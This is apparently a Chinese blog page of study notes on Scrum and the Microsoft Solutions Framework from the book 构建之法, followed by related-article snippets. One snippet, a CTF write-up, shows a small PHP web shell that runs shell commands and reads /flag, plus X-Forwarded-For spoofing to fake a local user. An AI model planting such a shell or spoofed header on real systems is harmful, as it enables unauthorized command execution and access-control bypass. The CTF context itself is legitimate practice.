构建之法

第六章、敏捷流程

1.Scrum方法论是敏捷过程的一种,敏捷过程的精髓在于快速交付。
1) 第一步:找出完成产品需要做的事情 - Product Backlog。Backlog 意为待解决的工作。
2) 第二步:决定当前的冲刺需求决定的事情 - Sprint Backlog。
3) 第三步:冲刺(Sprint)。在冲刺阶段,外部人士不能直接打扰团队成员。期间每日例会,向同伴报告进度,把问题摆在明面上。同时启动每日构建,让大家每天都能看到一个逐渐完善的版本。用简明的图表(燃尽图 / 看板图)展现整个项目的进度。冲刺阶段是时间驱动的,时间一到就结束。
4) 第四步:得到软件的一个增量版本,发布给用户。进一步计划增量的新功能和改进。
2. 敏捷成功实施的关键在于 Scrum Master,一个好的 Scrum Master 能在两种语境(商业语境和技术语境)间自如地翻译和切换。
3. 敏捷流程的经验教训:
1) 敏捷宣言表面的是一些优先级,不必当作圣旨或者教条来争论;
2) Scrum Master 不是一个官,而是一个没有行政权力的沟通者;
3) 一些项目需要很多暗箱操作和政治角色才能搞定,Scrum 会把这些矛盾都摆到明处;
4) 在复杂的项目里,要让一线团队成员做决定;
5) 创业公司的团队其实经常是运行在 Scrum 的模式中;
6) 在 Scrum 计划阶段的估计不是一个“合同”,领导者不要把它当成合同。估计总是不准的;
7) 不要和管理层谈“流程”,他们只关心“结果”;
8) 在大型团队,跨地区的团队,或者复杂项目中,Scrum 并没有非常完美的答案。

第七章、MSF(微软解决方案框架)
1.MSF没有像敏捷那样搞一个宣言,但是他也有一套思想框架——9条基本原则。
1)推动信息共享与沟通;
2)为共同的远景而工作;
3)充分授权和信任;
4)各司其职,对项目共同负责;
5)交付增量的价值;
6)保持敏捷,预期和适应变化;
7)投资质量;
8)学习所有的经验;
9)与顾客合作。
2. MSF 团队模型,任何技术项目都必须达到特定的关键质量目标,才能够被认为是成功的项目。任何一个角色无法实现其目标,都将危及整个项目。因此,每个角色都被认为是同等重要的,重要的决定都要共同做出。
3. MSF 过程模型,基本元素是阶段和里程碑。所谓“阶段”,就是在这一阶段时间里团队集中精力做某一类事情,每个阶段的结束都代表了项目的进展和团队工作重心的变化。团队用里程碑来检查工作是否结束和同步各个角色的进度,以此来确定当前阶段的目标是否已经实现。里程碑标志着每个阶段的结束,此时团队应该引导成员转移工作的重心,并鼓励队员以新的视角来看待下一阶段的目标。在上一阶段产生的各种交付内容,将成为下一阶段的起始点。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/821447.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

无法删除文件,因为已在Windows资源管理器中打开

背景 文件夹/文件删不掉 解决 直接重启explorer即可。 win+x,a 打开终端。 kill -name explorer按理来说关闭后explorer会自动重启 start explorer图形界面方式 Ctrl+Shift+ESC,打开任务管理器。 点击详细信息,按名称排序找到explorer.exe,右键重新启动。

学习高校课程-软件设计模式-单例模式(lec5)

原文链接 Singleton: Intent Singleton is a creational design pattern that lets you ensure that a class has only one instance, while providing a global access point to this instance. Singleton 是一种创建性设计模式,它允许您确保一个类只有一个实例,同时提供对此…

手动上传图片,怎么调整大小和居中

原始格式![image](https://img2024.cnblogs.com/blog/2143851/202410/2143851-20241024173243352-290268296.png ) 目标格式<img src="https://img2024.cnblogs.com/blog/2143851/202410/2143851-20241024173243352-290268296.png" alt="image-2024070120285…

关于C语言指针类型的总结

关于C语言指针类型的总结前言 我个人将目前在C语言中所遇到的指针归类为8种,至于为何写第九点,是因为我个人认为第九点极容易与第五点混淆,故总结如下: 1.普通指针普通指针即最常见的如:int * 、 char*等 甚至于也可将一个数组如arr[5]的数组名arr看作是指针类型(因为指…

ClickHouse的下载与安装部署

ClickHouse 安装 一、了解ClickHouse ClickHouse是一个关系型数据库,说到关系型数据库,我们之前也学习到一个数据库Mysql,但是两者之间是有着很大区别的。MySQL数据库一般存储较少的数据(100万以内),而今天学习的ClickHouse存储的数据就相当之大,可以存储亿条数据。再者…

淘宝天猫卖家电话采集软件下载地址

淘宝天猫卖家电话采集软件下载地址 采集淘宝天猫店铺电话是一个相对复杂且敏感的任务,因为淘宝和天猫平台通常不允许直接大规模采集店铺数据,这涉及到隐私保护和平台规则的问题。然而,我可以提供一些合法且合规的方法来获取店铺联系方式,并给出一个简化的代码示例来说明如何…

帝国cms后台忘记了安全提问及密码该如何找回?

| 找回项目 | 方法 | |------------------|--------------------------------------------------------------------| | 忘记后台管理员帐号 | 用phpmyadmin查看`phome_enewsuser`表里的记录:查…

CTF Week8 WP

作业管理系统 简单的PHP上传,传一个带shell的php文件就可以了.示例文件 <?php echo shell_exec("ls /"); echo shell_exec("cat /flag"); phpinfo(); ?>来源:题库LocalCat 验证是否为本地用户,在请求头部添加X-Forwarded-for: 127.0.0.1即可.来…

忘记EyouCMS后台密码解决办法

如果你忘记了EyouCMS的后台登录密码,可以通过以下步骤快速重置: 1. 准备重置文件下载附件:从可信来源下载重置密码的脚本文件setpwd.php。 解压文件:将下载的压缩包解压,得到setpwd.php文件。2. 上传文件上传文件:将setpwd.php文件上传到你的网站根目录。通常,网站根目录…

如何评估项目进度的风险和不确定性

项目进度的风险和不确定性是项目管理中的关键方面,其评估可以通过多种方法和工具来进行。关键步骤包括识别潜在风险因素、进行定性和定量的风险分析、制定应对策略,以及定期监控和调整风险管理计划。其中,制定应对策略是风险评估中至关重要的一步,它涉及根据风险分析的结果…

wireshark学习笔记

wireshark学习笔记 从一道面试题开始A ping B 理论分析注意:通过MAC判断--1单播,2组播,3广播, 手动修改MAC时不允许修改成组播或广播。 十六进制0x0b转为二进制时为11A需要判断B是否和它是一个网段 A通过自己的掩码判断自己的网段是192.168.26.0/24,用自己的掩码与B主机的…